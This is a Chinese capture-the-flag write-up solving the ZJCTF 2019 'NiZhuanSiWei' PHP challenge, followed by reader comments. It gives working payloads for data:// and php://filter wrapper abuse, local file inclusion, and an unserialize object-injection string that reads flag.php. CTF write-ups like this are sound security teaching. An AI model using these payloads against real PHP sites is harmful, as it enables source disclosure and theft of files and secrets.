0%

[ZJCTF 2019]NiZhuanSiWei KiHanahare的WriteUp

2022-09-16 17:56By
KiHanahare
php伪协议反序列化

前言

本题涉及到 伪协议文件包含反序列化
常用伪协议总结,可参考这篇文章:CTF常用伪协议总结

开门见山

<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?>

一上来就是源码安排上,粗略扫一眼,需要进入if true的代码块内

伪协议

进入if true的代码块内,需要用到 data:// 协议

data://协议
需要allow_url_fopen,allow_url_include均为on

这是一个输入流执行的协议,它可以向服务器输入数据,而服务器也会执行。常用代码如下:

http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>

text/plain,表示的是文本

text/plain;base64, 若纯文本没用可用base64编码

这里我们选用纯文本模式:

text=data://text/plain,welcome to the zjctf

成功进入

题外话:虽然这里很想就着file_get_contents拿到flag,但是$text写死了

文件包含

也许你迫不及待就像用include把flag干掉,但是我知道你很急,但你先别急,flag被ban了的,可以考虑绕绕preg_match,我想到的是PCRE,让其返回false(也就想想,没实践)

在PHP中,文件包含漏洞通常发生在这四个函数中:

require()

require_once()

include()

include_once()

这里我们用php://filter协议,来看看注释中的useless.php(参考资料中这个协议拼错了,在此引用已更正)

此协议一般用来查看源码

一般用法如下

www.xxx.xxx/?file=php://filter/convert.base64-encode/resource==index.php

出来的是base64码需要进行解码

此协议不受allow_url_fopen,allow_url_include配置影响

故构造payload

file=php://filter/convert.base64-encode/resource=useless.php

成功读到useless.php的base64,拿去解码可以得到以下源码

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

反序列化

源码中的 unserialize 函数能触发反序列化漏洞

说到反序列化,不得不了解下魔术方法,在此就不赘述了
此处用到的是__tostring()方法,其触发条件就是 当一个对象被当作str处理 时,例如在echo中被用,恰好index的源码里是echo,用就对了

附:参考片段

...
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
...

useless.php里写的file_get_contents直接去读flag.php,构造payload

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __construct(){
        $this->file = "flag.php";
    }  
}  
	
$a = new Flag();
$b = serialize($a);
echo urlencode($b);
?>   

得到

password=O%3A4%3A%22Flag%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3B%7D  

最终payload

text=data://text/plain,welcome to the zjctf&file=useless.php&password=O%3A4%3A%22Flag%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3B%7D

你先别急

温馨提示:看源码是好文明~

后记

被自己做过的题卡了,实在惭愧,原谅我太菜了(悲)

还没有人赞赏,快来当第一个赞赏的人吧!
  
© 著作权归作者所有

加载中...

加载失败
广告
×
评论区
添加新评论

好师傅

SC是神

太强了,写的很详细

写的好

写的很清晰明了,支持一下